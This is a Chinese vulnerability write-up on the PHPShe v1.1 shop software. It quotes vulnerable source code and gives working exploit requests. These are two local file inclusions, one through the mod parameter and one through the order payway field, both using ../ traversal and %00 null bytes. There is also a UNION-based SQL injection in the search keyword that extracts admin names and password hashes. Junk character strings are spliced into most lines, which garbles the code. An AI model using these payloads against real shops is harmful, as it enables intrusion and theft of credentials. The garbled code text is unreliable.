phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
9 g: s- n, b3 E( R/*******************************************************/
  D6 {0 ~+ H- o# g  W# X0×00 整体大概参数传输
: ^/ h1 W( N$ J+ S

# z  w( j' ^- g( @9 g0 u
//common.php
if (get_magic_quotes_gpc()) {
% D, y2 |1 A$ a. V) R9 e!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
. g/ R* M6 b3 w/ a: ^}
2 c' _" W" y) K8 y* Uelse {
, O8 ^$ A& `: l0 @' p!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
% Y2 [! @- {0 X; f9 k!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
. i, _! o; g' e, ]3 t}
9 P' z/ E8 f% W, V# Y! N. psession_start();
4 h) B8 R- {+ C!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞


5 B& H9 W- H/ R//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
) @, x( ~. [% l$ ~pe_result();
?>
+ X9 V) b6 s7 @( h//common 文件 第15行开始
url路由配置
" R5 j: i3 h' A) |0 k2 M, U$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$ Y5 L6 u" |8 {/ o  R$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
3 J1 P9 z8 L" m! h3 F//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
" X" {6 \; ]9 N) X5 J" Y

  y( g4 U  z5 t5 F  g 0×02 搜索注入
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) \1 M, s5 ]9 `4 {2 S<code id="code2">

//product.php文件
1 Z( U; j/ i. f- W3 o- Ucase 'list':
! r! I- I6 x* D$category_id = intval($id);
' o4 ?  W% H3 {; A0 v' K$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
6 [" O4 X2 ~) z" ^8 i+ q: p' h$sqlwhere = " and `product_state` = 1";
8 ~. q5 {" t) n( h9 p9 Fpe_lead('hook/category.hook.php');
1 |& g1 K1 ~9 k! ~if ($category_id) {
! j2 l* l. d8 L/ T! Y; R9 wwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
& n' I& Z4 N6 G" g8 h}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
6 g* R* u$ ?5 N, Y: x0 ?if ($_g_orderby) {
* T0 A8 O1 [- ]$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
4 y7 z4 O1 H' n+ ]}
6 W) U5 N: `* @5 V$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
/ v; [: ~8 ]: I/ ~$product_hotlist = product_hotlist();
6 X: a; u1 L; T) Q- |: k3 z//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
" V+ ^6 R5 H7 }8 j( J# G% u3 K6 \include(pe_tpl('product_list.html'));
//跟进selectall函数库
6 i1 ?7 L. d8 }5 E2 D9 C4 C* jpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
, w3 u+ ~1 N' T6 d, `2 K) y! `& A//处理条件语句
6 k, C. \: M, E* k* X2 D8 K$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
' c% O* p2 K! }) B$ eproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
# n* d- N$ i9 y) T* Y2 z) t% ^( O* U0 `

</code>
+ ^6 n/ v2 Y7 C' y
0×03 包含漏洞2
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. X' q$ B3 B5 v" n  k<code id="code3">

//order.php

case 'pay':

/ s' L8 f7 Y) M1 K3 U$order_id = pe_dbhold($_g_id);

9 M0 Y* h6 K- G7 |! Y; Z$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

3 a/ Y( ^* i+ L8 @. Y- \! Bif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

7 N7 O" `& p$ y1 y0 H}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

( p6 S% H" W/ C8 C1 }!$order['order_id'] && pe_error('订单号错误...');

" L# K" ^1 W5 K) Yif (isset($_p_pesubmit)) {

6 c4 \4 i7 s& |+ iif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

  t& G6 S% [" O6 \2 e2 E  n$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

) D5 F. {  z$ a2 [' n" ]0 b$order['order_name'] .= "{$v['product_name']};";
7 F- X1 ]3 w  t

  L/ }( m' t' X}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

- h- v2 L) }- ~2 Z7 d6 B% }}//当一切准备好的时候就可以进行"鸡肋包含了"

3 y8 z# o4 o% r/ |3 Delse {

, ]3 w! ?7 T  s8 j$ v9 O  z4 }2 n* Bpe_error('支付错误...');

. h. j! e! B+ U  i5 C* V}

}

, v2 H3 ^4 Y4 M, u$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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